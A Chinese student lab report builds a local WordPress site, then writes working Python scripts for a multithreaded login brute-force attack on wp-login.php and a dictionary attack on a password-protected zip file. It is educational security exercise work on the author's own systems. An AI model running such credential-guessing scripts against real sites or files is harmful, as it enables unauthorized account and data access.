Python字典猜解
摘要
- 目标
- 使用Python破解WordPress用户密码
- 使用Python破解zip压缩包密码
- 思路
- 通过表单提交项构建数据包,使用字典中的可选字符进行逐一排列组合暴力破解WordPress的用户密码。
- 通过字典密码逐一尝试进行压缩包的密码破解。
- 工作环境:Linux
- 最终成果:成功破解WordPress及zip压缩包的密码。
实验原理
- WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统(CMS)来使用。WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的。用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。
- 暴力破解使用的穷举法,把所有可能的数值一一尝试,直到找到正确数值。如果是一个4位的数字密码,可能的结果就有10^4种。单纯使用暴力破解的方法十分耗时。字典攻击即实现通过社会工程学、钓鱼网站等获取用户的个人信息,猜测其可能使用的所有密码,再一一尝试。字典攻击效率较高,但成功率略低。于是考虑使用两种方法结合,首先使用字典攻击构造出用户可能使用的字符集,再一一穷举。同时,利用多线程缩短破解时间。
- 这次实验我们先使用wordpress建立一个个人博客网站,然后通过分析登陆页面网页元素中登陆时提交的表单参数构造攻击数据包,通过字典攻击+暴力破解的方法获得用户密码。
- 建立有密码的压缩包,使用Python的zip模块进行暴力破解。
实验步骤
WordPress破解
- 下载安装wordpress。
$ sudo apt-get update
,$ sudo apt-get install wordpress
,$ sudo cp /usr/share/wordpress /var/www/html -rf
,$ cd /var/www/html/
,$ sudo chown -R www-data:www-data wordpress
,$ sudo touch /etc/wordpress/config-localhost.php
-
启动mysql服务
-
使用mysql数据库作为wordpress的数据库,创建wordpress将会用到的数据库和相应的数据库用户账号并分配权限。
-
$ sudo service mysql start
-
$ mysql -u root
-
>create database wordpress;
-
>create user wordpress@localhost identified by
5313;
-
>grant create,drop,insert,delete,update,select on wordpress.* to wordpress@localhost;
-
修改wordpress的密码设定
-
$ cd /var/www/html/wordpress
-
$ sudo vim wp-config.php
- 启动Apache服务。
sudo service apache2 start
- 出现问题
- 修改Apache设定
-
由于是只读文件,强制保存
-
重启Apache
-
在浏览器中输入http://localhost/wordpress/wp-admin/install.php配置管理员用户名与密码。第一次设置的密码为20145313.
-
输入http://localhost/wordpress/wp-login.php回到登陆界面,邮件打开网页源码。找到“网络”选项卡。
-
此时,在密码框中输入错误数值,提交。查看捕获到的表单参数和cookies。
-
可见网页明文传输用户名密码,对此修改即可进行攻击。
-
由上图可知,登陆失败的响应包响应状态为200,捕获登陆成功的数据包,得到登陆成功的响应状态为302,由此编写函数,测试登陆是否成功。
def login(user,pwd):
url = 'http://localhost/wordpress/wp-login.php' //登陆界面
values = {'log':user,'pwd':pwd,'wp-submit':'Log In',
'redirect_to':'http://localhost/wordpress/wp-admin',
'test_cookie':'1'
} //配置数据包参数
my_cookie = {'wordpress_test_cookie':'WP Cookie check'} //配置cookies
r = requests.post(url,data=values,cookies=my_cookie)
if r.status_code == 302: //成功的标志
return True
return False
- 编写生成破解子线程的函数
def __init__(self,user,characters,pwd_len,threads):
self.user = user
self.found = False
self.threads = threads
print '构建待测试口令队列中...'
self.pwd_queue = Queue.Queue()
for pwd in list(itertools.product(characters,repeat=pwd_len)):
self.pwd_queue.put(''.join(pwd))
self.result = None
print '构建成功!'
- 破解子线程函数web_bruter,将它设为私有函数。循环从口令队列中获取测试口令并进行模拟登录测试。如果登录成功,将破解成功的标志属性self.found设为True以提醒其他线程停止猜解;此外,将当前测试口令保存到self.result中,并打印出破解成功的信息。
def __web_bruter(self):
while not self.pwd_queue.empty() and not self.found:
pwd_test = self.pwd_queue.get()
if self.__login(pwd_test):
self.found = True
self.result = pwd_test
print '破解 %s 成功,密码为: %s' % (self.user,pwd_test)
else:
self.found = False
- 打印提示进度信息的主线程。
def brute(self):
for i in range(self.threads):
t = threading.Thread(target=self.__web_bruter)
t.start()
print '破解线程-->%s 启动' % t.ident
while(not self.pwd_queue.empty()):
sys.stdout.write('\r 进度: 还剩余%s个口令 (每1s刷新)' % self.pwd_queue.qsize())
sys.stdout.flush()
time.sleep(1)
print '\n破解完毕'
- 若用户输入错误,则显示正确使用方法。
self.found = False
if __name__ == '__main__':
if len(sys.argv) != 5:
print '用法 : cmd [用户名] [密码字符] [密码长度] [线程数]'
exit(0)
b = Bruter(sys.argv[1],sys.argv[2],int(sys.argv[3]),int(sys.argv[4]))
b.brute()
print b.result
-
由于密码太长,需要等待时间过长。
-
从头来过,密码设定为1353.成功截图:
zip压缩包破解
-
创建一个测试文件夹及测试文件。
-
使用密码abc123建立压缩包
-
建立字典文件
-
在python中操作zip文件,最简单的方式就是使用zipfile模块,使用该模块可以用来判断一个文件是否是压缩文件,创建、解压文件,获取zip文件的元数据信息。可以使用python的help方法查看该模块的使用方法。查看Python中的zip模块。
-
extractall方法,是把压缩包里面的内容都解压出来,三个参数,path是解压的路径,members是需要解压出来的文件,pwd是密码。尝试直接使用正确密码进行解压
import zipfile
zFile = zipfile.ZipFile("/home/testzip.zip");
zFile.extractall("/home/qaq/",pwd="abc123");
-
解压成功
-
测试错误密码进行解压,显示bad password。通过该错误值就可以捕获异常,测试多个密码。
-
open方法返回一个file对象,利用file对象,我们可以读取文件的具体内容。使用Python中的open方法打开字典文件。查看open模块帮助。
-
测试open方法打开字典文件
-
测试成功
-
结合open方法,尝试使用字典文件进行暴力破解。
import zipfile
zFile = zipfile.ZipFile("/HOME/ZIPTEST/TEST.ZIP");
passFile = open('/HOME/ZIPTEST/DICT.TXT');
for line in passFile.readlines():
password = line.strip('\N');
try:
zFile.extractall(path="/HOME/ZIPTEST",pwd=password);
print("PASSWORD IS:"+password);
exit(0);
except:
pass;
-
测试代码
-
成功解压